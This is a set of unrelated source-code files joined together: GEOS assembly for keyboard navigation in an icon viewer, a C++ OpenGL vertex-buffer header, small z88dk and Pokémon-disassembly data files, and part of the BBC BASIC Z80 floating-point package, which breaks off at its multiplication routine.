test dh, mask SS_LSHIFT or mask SS_RSHIFT
jnz shiftTab
call ViewerKeyRight ; tab
jmp short gotKey
shiftTab:
call ViewerKeyLeft ; shift+tab
notTab:
cmp cl, VC_DEL
jne done
mov ax, MSG_DB_VIEWER_DELETE_ICONS
call ObjCallInstanceNoLock
jmp short gotKey
gotKey:
;
; Make sure the selection is visible by scrolling the view.
;
mov ax, MSG_DB_VIEWER_SHOW_SELECTION
call ObjCallInstanceNoLock
;
; One of the keys was pressed, so we know we're at 1
; selection now. Tell the title bar.
;
mov cx, 1 ; 1 selection
mov ax, MSG_DB_VIEWER_ENABLE_UI
call ObjCallInstanceNoLock
done:
.leave
ret
DBViewerKbdChar endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ViewerKeyUp
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: User pressed the up-arrow key
CALLED BY: DBViewerKbdChar
PASS: *ds:si = DBViewerClass object
ds:di = DBViewerClass instance data
RETURN: nothing
DESTROYED: ax,bx,cx,dx,di,bp
KNOWN BUGS/SIDE EFFECTS/IDEAS:
- at this point we have a problem. I will draw a picture of
it for you:
-----------------
| |
| |
| |
| |
-----------------
---------- ----------
| | | |
| | | |
| | | |
---------- ----------
---------------------------------
| |
| |
| |
| (selected) |
| |
| |
| |
---------------------------------
The problem is, if the bottom icon is selected, and the
user hits the up-arrow key, which icon should get selected?
There are many special cases, considering icons can have
variable heights & widths.
Ideally, you'd want an algorithm that meets the following
criteria:
1) If there is a row of icons above the currently
selected icon, one of the icons in that row
should be selected.
2) If only one icon is immediately above the
selected icon (as will be the case when all
icons are equal-sized, or sometimes if the
icons in the row above are larger than the
selected icon), then that one should always
get selected.
3) If more than one icon is "immediately above"
the selected icon (as in the drawing), then
the result should be predictable by the user.
(e.g. the leftmost icon, or rightmost, or
some other set position, should always be
selected).
This algorithm would take more time and space than I want
to give it, so I'm going to use a different algorithm that
is predictable for the user (hopefully), and works well
when all the icons are the same size (a typical case,
presumably). (See below)
PSEUDO CODE/STRATEGY:
- get first selection
- if none selected, select first child and quit
- find the midpoint of the top row of pixels of the
selected icon. Start moving up in small increments
until you've either:
* found a child, or
* hit the top of the content
If we find a child, we deselect the current icon and
select the new one, otherwise just quit.
- count the total number of selections:
if more than one, use DBViewerSetSingleSelection
if only one, use DBViewerSetSelection twice
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 12/11/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ViewerKeyUp proc near
uses si
.enter
mov ax, MSG_DB_VIEWER_GET_FIRST_SELECTION
call ObjCallInstanceNoLock ; returns in cx
jnc foundOne
clr cx
mov dx, 1
mov ax, MSG_DB_VIEWER_SET_SELECTION
call ObjCallInstanceNoLock
jmp short done
foundOne:
;
; At this point, cx = (first selection). We need to find the
; next one, if any.
;
call FindIconAboveMe ; dx <- new icon
jc done ; none found.
;
; At this point, cx = (first selection) and dx = (next selection)
; If there is more than one selection, we want to do a
; DBViewerSetSingleSelection to get rid of all the
; other selections. On the other hand, that's really slow,
; so if there's only one selection, we should just select
; the next one and deselect the previous one.
;
push cx ; save old icon
call DBViewerGetNumSelections ; returns in cx
mov_tr ax, cx ; ax = # selections
pop cx ; restore old icon
cmp ax, 1 ; ax = num selections
je oneSelected
mov cx, dx ; cx = new one
clr bp ; UIFunctionsActive
mov ax, MSG_DB_VIEWER_SET_SINGLE_SELECTION
call ObjCallInstanceNoLock
jmp short done
oneSelected:
;
; At this point, dx = (new selection) and cx = (old selection).
; Select the new one and deselect the old one.
;
xchg cx, dx ; cx = new one
push dx ; save old one
mov dx, 1 ; select it
mov ax, MSG_DB_VIEWER_SET_SELECTION
call ObjCallInstanceNoLock
pop cx ; restore old one
clr dx ; deselect it
mov ax, MSG_DB_VIEWER_SET_SELECTION
call ObjCallInstanceNoLock
done:
.leave
ret
ViewerKeyUp endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FindIconAboveMe
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Returns the icon "above" the selected icon.
CALLED BY: ViewerKeyUp
PASS: *ds:si = DBViewer object
cx = selected icon
RETURN: dx = icon to select
carry set if not found, clear if found
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Move up from the middle of the selected icon until we
either hit the top of the content, or we hit an icon.
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 1/3/93 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FindIconAboveMe proc near
class DBViewerClass
uses ax,bx,cx,di,bp
.enter
;
; Find the (x,y) position in the top-middle of the passed icon.
;
mov ax, MSG_VIS_FIND_CHILD_AT_POSITION
call ObjCallInstanceNoLock ; ^lcx:dx = child
push ds:[LMBH_handle], si ; save viewer
movdw bxsi, cxdx
mov di, mask MF_CALL
mov ax, MSG_VIS_GET_BOUNDS
call ObjMessage ; (ax, bp) = UL; (cx, dx) = LR
sub cx, ax ; cx = (right-left)
shr cx ; cx = cx/2
add cx, ax ; cx = left + (right-left)/2
mov dx, bp ; (cx,dx) = top-middle point
;
; Start moving upward at some reasonable jump-interval until
; we hit the top, or a child. Each time, call the child
; under the point, asking it for its number, and if we
; find one we'll have its number.
;
pop bx, si
call MemDerefDS ; *ds:si = Viewer object
searchLoop:
sub dx, VIEWER_VERTICAL_CHILD_SPACING
mov ax, MSG_VIS_ICON_GET_NUMBER
call VisCallChildUnderPoint ; returns number in cx
jc foundOne ; found a child
cmp dx, 0
jg searchLoop
;
; If we got here, we hit the top of the content without
; finding a child. Set the carry and bail.
;
stc
jmp short done
foundOne:
;
; If we got here, we found a child, and it returned its
; number in cx. Move it into dx, clear the carry and bail.
;
mov dx, cx
clc
done:
.leave
ret
FindIconAboveMe endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ViewerKeyDown
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: User pressed the down-arrow key.
CALLED BY: DBViewerKbdChar
PASS: *ds:si = DBViewerClass object
ds:di = DBViewerClass instance data
RETURN: nothing
DESTROYED: ax,bx,cx,dx,di,bp
PSEUDO CODE/STRATEGY:
- get first selection
- if none selected, select first child and quit
- find a child below us, if possible. Select it.
(see the comments in ViewerKeyUp's header).
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 12/11/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ViewerKeyDown proc near
uses si
.enter
mov ax, MSG_DB_VIEWER_GET_FIRST_SELECTION
call ObjCallInstanceNoLock ; returns in cx
jnc foundOne
clr cx
mov dx, 1
mov ax, MSG_DB_VIEWER_SET_SELECTION
call ObjCallInstanceNoLock
jmp short done
foundOne:
;
; At this point, cx = (first selection). We need to find
; the next selection.
;
call FindIconBelowMe ; dx <- new one
jc done ; not found
;
; At this point, cx = (first selection) and dx = (new selection).
; If there is more than one selection, we want to do a
; DBViewerSetSingleSelection to get rid of all the
; other selections. On the other hand, that's really slow,
; so if there's only one selection, we should just select
; the next one and deselect the previous one.
;
push cx ; save new selection
call DBViewerGetNumSelections ; returns in cx
mov_tr ax, cx
pop cx ; restore new icon
cmp ax, 1 ; ax = num selections
je oneSelection
mov cx, dx ; new selection
clr bp ; UIFunctionsActive
mov ax, MSG_DB_VIEWER_SET_SINGLE_SELECTION
call ObjCallInstanceNoLock
jmp short done
oneSelection:
;
; At this point, cx = (old selection) and dx = (new selection).
; Select the new one and deselect the old one.
;
xchg cx, dx ; cx = new one
push dx ; save old one
mov dx, 1 ; select it
mov ax, MSG_DB_VIEWER_SET_SELECTION
call ObjCallInstanceNoLock
pop cx ; restore old one
clr dx ; deselect it
mov ax, MSG_DB_VIEWER_SET_SELECTION
call ObjCallInstanceNoLock
done:
.leave
ret
ViewerKeyDown endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FindIconBelowMe
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Returns an icon below the passed one, if possible.
CALLED BY: ViewerKeyDown
PASS: cx = selected icon
RETURN: dx = new icon
carry set if not found, clear if found
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
- see FindIconAboveMe
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 1/2/93 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FindIconBelowMe proc near
class DBViewerClass
uses ax,bx,cx,di,bp
.enter
;
; Find the (x,y) position in the bottom-middle of the passed icon.
;
mov ax, MSG_VIS_FIND_CHILD_AT_POSITION
call ObjCallInstanceNoLock ; ^lcx:dx = child
push ds:[LMBH_handle], si ; save viewer
movdw bxsi, cxdx
mov di, mask MF_CALL
mov ax, MSG_VIS_GET_BOUNDS
call ObjMessage ; (ax, bp) = UL; (cx, dx) = LR
sub cx, ax ; cx = (right-left)
shr cx ; cx = cx/2
add cx, ax ; cx = left + (right-left)/2
;
; (cx, dx) = bottom-middle point
;
; Start moving down at some reasonable jump-interval until
; we hit the bottom, or a child. Each time, call the child
; under the point, asking it for its number, and if we
; find one we'll have its number. First we have to get the
; bottom of the content.
;
pop bx, si
call MemDerefDS ; *ds:si = Viewer object
push cx, dx ; save starting point
mov ax, MSG_VIS_GET_BOUNDS
call ObjCallInstanceNoLock ; dx = height
mov bp, dx ; loop-test value
pop cx, dx ; restore starting point
add dx, VIEWER_VERTICAL_CHILD_SPACING
searchLoop:
mov ax, MSG_VIS_ICON_GET_NUMBER
call VisCallChildUnderPoint ; returns number in cx
jc foundOne ; found a child
add dx, VIEWER_VERTICAL_CHILD_SPACING
cmp dx, bp ; hit bottom yet?
jl searchLoop
;
; If we got here, we hit the top of the content without
; finding a child. Set the carry and bail.
;
stc
jmp short done
foundOne:
;
; If we got here, we found a child, and it returned its
; number in cx. Move it into dx, clear the carry and bail.
;
mov dx, cx
clc
done:
.leave
ret
FindIconBelowMe endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ViewerKeyLeft
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: User pressed the left-arrow key or shift+tab
CALLED BY: DBViewerKbdChar
PASS: *ds:si = DBViewerClass object
ds:di = DBViewerClass instance data
RETURN: nothing
DESTROYED: ax,bx,cx,dx,di,bp
PSEUDO CODE/STRATEGY:
- pretty much the same as ViewerKeyRight
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 12/11/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ViewerKeyLeft proc near
uses si
.enter
mov ax, MSG_DB_VIEWER_GET_FIRST_SELECTION
call ObjCallInstanceNoLock ; returns in cx
jnc foundOne
clr cx ; first child
mov dx, 1 ; select it
mov ax, MSG_DB_VIEWER_SET_SELECTION
call ObjCallInstanceNoLock
jmp short done
foundOne:
;
; See if we're already at the far left. If so, bail.
;
tst cx
jz done
;
; At this point, cx = (first selection). If there is more
; than one selection, we want to turn the others off, but
; since it's slow, we check for this condition first. If
; there's only one selection, we select the next one, and
; deselect the current one. (This is the typical case).
;
mov_tr ax, cx
call DBViewerGetNumSelections ; returns in cx
xchg cx, ax ; cx = selection
cmp ax, 1
je oneSelected
clr bp ; UIFunctionsActive
dec cx ; cx = previous
mov ax, MSG_DB_VIEWER_SET_SINGLE_SELECTION
call ObjCallInstanceNoLock
jmp short done
oneSelected:
push cx ; save current
dec cx ; cx = previous
mov dx, 1 ; select it
mov ax, MSG_DB_VIEWER_SET_SELECTION
call ObjCallInstanceNoLock
pop cx ; restore current
clr dx ; deselect it
mov ax, MSG_DB_VIEWER_SET_SELECTION
call ObjCallInstanceNoLock ; deselect self
done:
.leave
ret
ViewerKeyLeft endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ViewerKeyRight
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: User pressed the right-arrow key or the tab key.
CALLED BY: DBViewerKbdChar
PASS: *ds:si = DBViewerClass object
ds:di = DBViewerClass instance data
RETURN: nothing
DESTROYED: ax,bx,cx,dx,di,bp
PSEUDO CODE/STRATEGY:
- get the first selection
- if none, set first icon as selection and bail
- if already at far right, quit
- count the selections
- if only one, do the fast way
- of more than one, do the slow way
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 12/11/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ViewerKeyRight proc near
uses si
.enter
mov ax, MSG_DB_VIEWER_GET_FIRST_SELECTION
call ObjCallInstanceNoLock ; returns in cx
jnc foundOne
clr cx ; first child
mov dx, 1 ; select it
mov ax, MSG_DB_VIEWER_SET_SELECTION
call ObjCallInstanceNoLock
jmp short done
foundOne:
;
; See if we're already at the far right. If so, bail.
;
push cx, ds:[LMBH_handle], si ; save selection & OD
mov ax, MSG_VIS_COUNT_CHILDREN
call ObjCallInstanceNoLock ; returns in dx
pop cx, bx, si ; cx = selection
dec dx ; 0-indexed children
cmp cx, dx ; are we last?
je done
call MemDerefDS ; *ds:si = object
;
; At this point, cx = (first selection). If there is more
; than one selection, we want to turn the others off, but
; since this is slow, we check for this condition first.
; Otherwise we just select the next icon, and deselect the
; current one.
;
push cx ; save selection
mov ax, MSG_DB_VIEWER_GET_NUM_SELECTIONS
call ObjCallInstanceNoLock ; returns in cx
cmp cx, 1
je oneSelected
pop cx ; cx = selection
inc cx ; cx = next
clr bp ; UIFunctionsActive
mov ax, MSG_DB_VIEWER_SET_SINGLE_SELECTION
call ObjCallInstanceNoLock
jmp short done
oneSelected:
pop cx ; cx = selection
inc cx ; cx = next
mov dx, 1 ; select next
mov ax, MSG_DB_VIEWER_SET_SELECTION
call ObjCallInstanceNoLock ; destroys nothing
dec cx ; cx = current
clr dx
mov ax, MSG_DB_VIEWER_SET_SELECTION
call ObjCallInstanceNoLock ; deselect self
done:
.leave
ret
ViewerKeyRight endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ViewerKeyEnter
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: User pressed the return key.
CALLED BY: DBViewerKbdChar
PASS: *ds:si = DBViewerClass object
ds:di = DBViewerClass instance data
RETURN: nothing
DESTROYED: ax,bx,cx,dx,di,bp
PSEUDO CODE/STRATEGY:
- select the first icon if none selected
- send an edit-icon message to the process
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 12/11/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ViewerKeyEnter proc near
uses si
.enter
mov ax, MSG_DB_VIEWER_GET_FIRST_SELECTION
call ObjCallInstanceNoLock ; returns in cx
jnc foundOne
clr cx
mov dx, 1
mov ax, MSG_DB_VIEWER_SET_SELECTION
call ObjCallInstanceNoLock
jmp short done
foundOne:
;
; Make this the currently-edited icon.
;
mov ax, MSG_DB_VIEWER_EDIT_ICON
call ObjCallInstanceNoLock
done:
.leave
ret
ViewerKeyEnter endp
ViewerCode ends
|
; void bit_fx_fastcall(void *effect)
SECTION code_clib
SECTION code_sound_bit
PUBLIC _bit_fx_fastcall
EXTERN asm_bit_fx
defc _bit_fx_fastcall = asm_bit_fx
|
/**
* @file vertex_buffer.hpp
*
* @brief VertexBuffer
*/
#ifndef HAMON_RENDER_GL_VERTEX_BUFFER_HPP
#define HAMON_RENDER_GL_VERTEX_BUFFER_HPP
#include <hamon/render/gl/buffer.hpp>
#include <hamon/render/gl/gl.hpp>
#include <hamon/render/geometry.hpp>
namespace hamon
{
inline namespace render
{
namespace gl
{
class VertexBuffer
{
public:
explicit VertexBuffer(render::Geometry const& geometry)
: m_buffer(geometry.GetVertexArrayBytes(), geometry.GetVertexArrayData(), GL_STATIC_DRAW)
, m_count(static_cast<::GLsizei>(geometry.GetVertexArrayCount()))
{
}
void Draw(::GLenum topology)
{
::glDrawArrays(topology, 0, m_count);
}
::GLuint GetId(void) const { return m_buffer.GetId(); }
private:
gl::Buffer m_buffer;
::GLsizei m_count;
};
} // namespace gl
} // inline namespace render
} // namespace hamon
#endif // HAMON_RENDER_GL_VERTEX_BUFFER_HPP
|
MODULE tms9918_capabilities
PUBLIC __tms9918_CLIB_GENCON_CAPS
PUBLIC __tms9918_CAPS_MODE0
PUBLIC __tms9918_CAPS_MODE1
PUBLIC __tms9918_CAPS_MODE2
INCLUDE "ioctl.def"
defc __tms9918_CLIB_GENCON_CAPS = __tms9918_CAPS_MODE2
defc __tms9918_CAPS_MODE0 = CAP_GENCON_CUSTOM_FONT | CAP_GENCON_UDGS
defc __tms9918_CAPS_MODE1 = CAP_GENCON_CUSTOM_FONT | CAP_GENCON_UDGS
defc __tms9918_CAPS_MODE2 = CAP_GENCON_FG_COLOUR | CAP_GENCON_BG_COLOUR | CAP_GENCON_INVERSE | CAP_GENCON_CUSTOM_FONT | CAP_GENCON_UDGS | CAP_GENCON_UNDERLINE | CAP_GENCON_BOLD
|
db 0 ; species ID placeholder
db 65, 75, 70, 95, 95, 70
; hp atk def spd sat sdf
db PSYCHIC, FLYING ; type
db 75 ; catch rate
db 171 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F50 ; gender ratio
db 20 ; step cycles to hatch
INCBIN "gfx/pokemon/xatu/front.dimensions"
db GROWTH_MEDIUM_FAST ; growth rate
dn EGG_FLYING, EGG_FLYING ; egg groups
db 70 ; happiness
; tm/hm learnset
tmhm CALM_MIND, TOXIC, HIDDEN_POWER, SUNNY_DAY, HYPER_BEAM, LIGHT_SCREEN, PROTECT, RAIN_DANCE, GIGA_DRAIN, FRUSTRATION, SOLARBEAM, RETURN, PSYCHIC_M, SHADOW_BALL, DOUBLE_TEAM, REFLECT, AERIAL_ACE, FACADE, SECRET_POWER, REST, ATTRACT, THIEF, STEEL_WING, SKILL_SWAP, ROOST, ENDURE, SILVER_WIND, GIGA_IMPACT, FLASH, THUNDER_WAVE, PSYCH_UP, CAPTIVATE, SLEEP_TALK, NATURAL_GIFT, DREAM_EATER, GRASS_KNOT, SWAGGER, PLUCK, U_TURN, SUBSTITUTE, TRICK_ROOM, FLY, DEFOG, AIR_CUTTER, HEAT_WAVE, OMINOUS_WIND, SIGNAL_BEAM, SNORE, SUCKER_PUNCH, SWIFT, TRICK, TWISTER, ZEN_HEADBUTT
; end
|
; This is a slightly modified version of the original source code from
; from: https://github.com/davidgiven/cpmish/tree/master/third_party/bbcbasic
;
; For compatibility with z80asm the following changes were made:
; * TITLE and PAGE directives were commented out
;
; For compatbility with the z88math library the following chnage was made:
; * Implement FNEGATE in function table + code
;
; For compatbility with machines reserving one register the following change
; was made:
; * Use a static word to store the sp to be restored on error
;
IF !FORz88
SECTION bss_fp_bbc
; Stores the stack for the exit condition
stackstore: defw 0
SECTION code_fp_bbc
PUBLIC FPP
; TITLE '(C) COPYRIGHT R.T.RUSSELL 1986'
;
;Z80 FLOATING POINT PACKAGE
;(C) COPYRIGHT R.T.RUSSELL 1986
;VERSION 0.0, 26-10-1986
;VERSION 0.1, 14-12-1988 (BUG FIX)
;
;BINARY FLOATING POINT REPRESENTATION:
; 32 BIT SIGN-MAGNITUDE NORMALIZED MANTISSA
; 8 BIT EXCESS-128 SIGNED EXPONENT
; SIGN BIT REPLACES MANTISSA MSB (IMPLIED "1")
; MANTISSA=0 & EXPONENT=0 IMPLIES VALUE IS ZERO.
;
;BINARY INTEGER REPRESENTATION:
; 32 BIT 2'S-COMPLEMENT SIGNED INTEGER
; "EXPONENT" BYTE = 0 (WHEN PRESENT)
;
;NORMAL REGISTER ALLOCATION: MANTISSA - HLH'L'
; EXPONENT - C
;ALTERNATE REGISTER ALLOCATION: MANTISSA - DED'E'
; EXPONENT - B
;
;Error codes:
;
BADOP EQU 1 ;Bad operation code
DIVBY0 EQU 18 ;Division by zero
TOOBIG EQU 20 ;Too big
NGROOT EQU 21 ;Negative root
LOGRNG EQU 22 ;Log range
ACLOST EQU 23 ;Accuracy lost
EXPRNG EQU 24 ;Exp range
;
GLOBAL FPP
;
;Call entry and despatch code:
;
FPP:
ld (stackstore),sp ;z88dk
; PUSH IY ;Save IY
; LD IY,0
; ADD IY,SP ;Save SP in IY
CALL OP ;Perform operation
CP A ;Good return (Z, NC)
EXIT:
;POP IY ;Restore IY
ret ;Return to caller
;
;Error exit:
;
BAD: LD A,BADOP ;"Bad operation code"
ERROR:
ld sp,(stackstore) ;z88dk
;LD SP,IY ;Restore SP from IY
OR A ;Set NZ
SCF ;Set C
JR EXIT
;
;Perform operation or function:
;
OP: CP +(RTABLE-DTABLE)/2
JR NC,BAD
CP +(FTABLE-DTABLE)/2
JR NC,DISPAT
EX AF,AF'
LD A,B
OR C ;Both integer?
CALL NZ,FLOATA ;No, so float both
EX AF,AF'
DISPAT: PUSH HL
LD HL,DTABLE
PUSH BC
ADD A,A ;A = op-code * 2
LD C,A
LD B,0 ;BC = op-code * 2
ADD HL,BC
LD A,(HL) ;Get low byte
INC HL
LD H,(HL) ;Get high byte
LD L,A
POP BC
EX (SP),HL
RET ;Off to routine
;
;Despatch table:
;
DTABLE: DEFW IAND ;AND (INTEGER)
DEFW IBDIV ;DIV
DEFW IEOR ;EOR
DEFW IMOD ;MOD
DEFW IOR ;OR
DEFW ILE ;<=
DEFW INE ;<>
DEFW IGE ;>=
DEFW ILT ;<
DEFW IEQ ;=
DEFW IMUL ;*
DEFW IADD ;+
DEFW IGT ;>
DEFW ISUB ;-
DEFW IPOW ;^
DEFW IDIV ;/
;
FTABLE: DEFW ABS ;ABS
DEFW ACS ;ACS
DEFW ASN ;ASN
DEFW ATN ;ATN
DEFW COS ;COS
DEFW DEG ;DEG
DEFW EXP ;EXP
DEFW INT ;INT
DEFW LN ;LN
DEFW LOG ;LOG
DEFW NOTK ;NOT
DEFW RAD ;RAD
DEFW SGN ;SGN
DEFW SIN ;SIN
DEFW SQR ;SQR
DEFW TAN ;TAN
;
DEFW ZERO ;ZERO
DEFW FONE ;FONE
DEFW TRUE ;TRUE
DEFW PI ;PI
;
DEFW VAL ;VAL
DEFW STR ;STR$
;
DEFW SFIX ;FIX
DEFW SFLOAT ;FLOAT
;
DEFW FTEST ;TEST
DEFW FCOMP ;COMPARE
DEFW FNEGATE ;NEGATE (z88dk added)
;
RTABLE: DEFW FAND ;AND (FLOATING-POINT)
DEFW FBDIV ;DIV
DEFW FEOR ;EOR
DEFW FMOD ;MOD
DEFW FOR ;OR
DEFW FLE ;<=
DEFW FNE ;<>
DEFW FGE ;>=
DEFW FLT ;<
DEFW FEQ ;=
DEFW FMUL ;*
DEFW FADD ;+
DEFW FGT ;>
DEFW FSUB ;-
DEFW FPOW ;^
DEFW FDIV ;/
;
;PAGE
;
;ARITHMETIC AND LOGICAL OPERATORS:
;All take two arguments, in HLH'L'C & DED'E'B.
;Output in HLH'L'C
;All registers except IX, IY destroyed.
; (N.B. FPOW destroys IX).
;
;FAND - Floating-point AND.
;IAND - Integer AND.
;
FAND: CALL FIX2
IAND: LD A,H
AND D
LD H,A
LD A,L
AND E
LD L,A
EXX
LD A,H
AND D
LD H,A
LD A,L
AND E
LD L,A
EXX
RET
;
;FEOR - Floating-point exclusive-OR.
;IEOR - Integer exclusive-OR.
;
FEOR: CALL FIX2
IEOR: LD A,H
XOR D
LD H,A
LD A,L
XOR E
LD L,A
EXX
LD A,H
XOR D
LD H,A
LD A,L
XOR E
LD L,A
EXX
RET
;
;FOR - Floating-point OR.
;IOR - Integer OR.
;
FOR: CALL FIX2
IOR: LD A,H
OR D
LD H,A
LD A,L
OR E
LD L,A
EXX
LD A,H
OR D
LD H,A
LD A,L
OR E
LD L,A
EXX
RET
;
;FMOD - Floating-point remainder.
;IMOD - Integer remainder.
;
FMOD: CALL FIX2
IMOD: LD A,H
XOR D ;DIV RESULT SIGN
BIT 7,H
EX AF,AF'
BIT 7,H
CALL NZ,NEGATE ;MAKE ARGUMENTS +VE
CALL SWAP
BIT 7,H
CALL NZ,NEGATE
LD B,H
LD C,L
LD HL,0
EXX
LD B,H
LD C,L
LD HL,0
LD A,-33
CALL DIVA ;DIVIDE
EXX
LD C,0 ;INTEGER MARKER
EX AF,AF'
RET Z
JP NEGATE
;
;BDIV - Integer division.
;
FBDIV: CALL FIX2
IBDIV: CALL IMOD
OR A
CALL SWAP
LD C,0
RET P
JP NEGATE
;
;ISUB - Integer subtraction.
;FSUB - Floating point subtraction with rounding.
;
ISUB: CALL SUB
RET PO
CALL ADD
CALL FLOAT2
FSUB: LD A,D
XOR 80H ;CHANGE SIGN THEN ADD
LD D,A
JR FADD
;
;Reverse subtract.
;
RSUB: LD A,H
XOR 80H
LD H,A
JR FADD
;
;IADD - Integer addition.
;FADD - Floating point addition with rounding.
;
IADD: CALL ADD
RET PO
CALL SUB
CALL FLOAT2
FADD: DEC B
INC B
RET Z ;ARG 2 ZERO
DEC C
INC C
JP Z,SWAP ;ARG 1 ZERO
EXX
LD BC,0 ;INITIALISE
EXX
LD A,H
XOR D ;XOR SIGNS
PUSH AF
LD A,B
CP C ;COMPARE EXPONENTS
CALL C,SWAP ;MAKE DED'E'B LARGEST
LD A,B
SET 7,H ;IMPLIED 1
CALL NZ,FIX ;ALIGN
POP AF
LD A,D ;SIGN OF LARGER
SET 7,D ;IMPLIED 1
JP M,FADD3 ;SIGNS DIFFERENT
CALL ADD ;HLH'L'=HLH'L'+DED'E'
CALL C,DIV2 ;NORMALISE
SET 7,H
JR FADD4
;
FADD3: CALL SUB ;HLH'L'=HLH'L'-DED'E'
CALL C,NEG ;NEGATE HLH'L'B'C'
CALL FLO48
CPL ;CHANGE RESULT SIGN
FADD4: EXX
EX DE,HL
LD HL,8000H
OR A ;CLEAR CARRY
SBC HL,BC
EX DE,HL
EXX
CALL Z,ODD ;ROUND UNBIASSED
CALL C,ADD1 ;ROUND UP
CALL C,INCC
RES 7,H
DEC C
INC C
JP Z,ZERO
OR A ;RESULT SIGNQ
RET P ;POSITIVE
SET 7,H ;NEGATIVE
RET
;
;IDIV - Integer division.
;FDIV - Floating point division with rounding.
;
IDIV: CALL FLOAT2
FDIV: DEC B ;TEST FOR ZERO
INC B
LD A,DIVBY0
JP Z,ERROR ;"Division by zero"
DEC C ;TEST FOR ZERO
INC C
RET Z
LD A,H
XOR D ;CALC. RESULT SIGN
EX AF,AF' ;SAVE SIGN
SET 7,D ;REPLACE IMPLIED 1's
SET 7,H
PUSH BC ;SAVE EXPONENTS
LD B,D ;LOAD REGISTERS
LD C,E
LD DE,0
EXX
LD B,D
LD C,E
LD DE,0
LD A,-32 ;LOOP COUNTER
CALL DIVA ;DIVIDE
EXX
BIT 7,D
EXX
CALL Z,DIVB ;NORMALISE & INC A
EX DE,HL
EXX
SRL B ;DIVISOR/2
RR C
OR A ;CLEAR CARRY
SBC HL,BC ;REMAINDER-DIVISOR/2
CCF
EX DE,HL ;RESULT IN HLH'L'
CALL Z,ODD ;ROUND UNBIASSED
CALL C,ADD1 ;ROUND UP
POP BC ;RESTORE EXPONENTS
CALL C,INCC
RRA ;LSB OF A TO CARRY
LD A,C ;COMPUTE NEW EXPONENT
SBC A,B
CCF
JP CHKOVF
;
;IMUL - Integer multiplication.
;
IMUL: LD A,H
XOR D
EX AF,AF' ;SAVE RESULT SIGN
BIT 7,H
CALL NZ,NEGATE
CALL SWAP
BIT 7,H
CALL NZ,NEGATE
LD B,H
LD C,L
LD HL,0
EXX
LD B,H
LD C,L
LD HL,0
LD A,-33
CALL MULA ;MULTIPLY
EXX
LD C,191 ;PRESET EXPONENT
CALL TEST ;TEST RANGE
JR NZ,IMUL1 ;TOO BIG
BIT 7,D
JR NZ,IMUL1
CALL SWAP
LD C,D ;INTEGER MARKER
EX AF,AF'
RET P
JP NEGATE
;
IMUL1: DEC C
EXX
SLA E
RL D
EXX
RL E
RL D
EXX
ADC HL,HL
EXX
ADC HL,HL
JP P,IMUL1 ;NORMALISE
EX AF,AF'
RET M
RES 7,H ;POSITIVE
RET
;
;FMUL - Floating point multiplication with rounding.
;
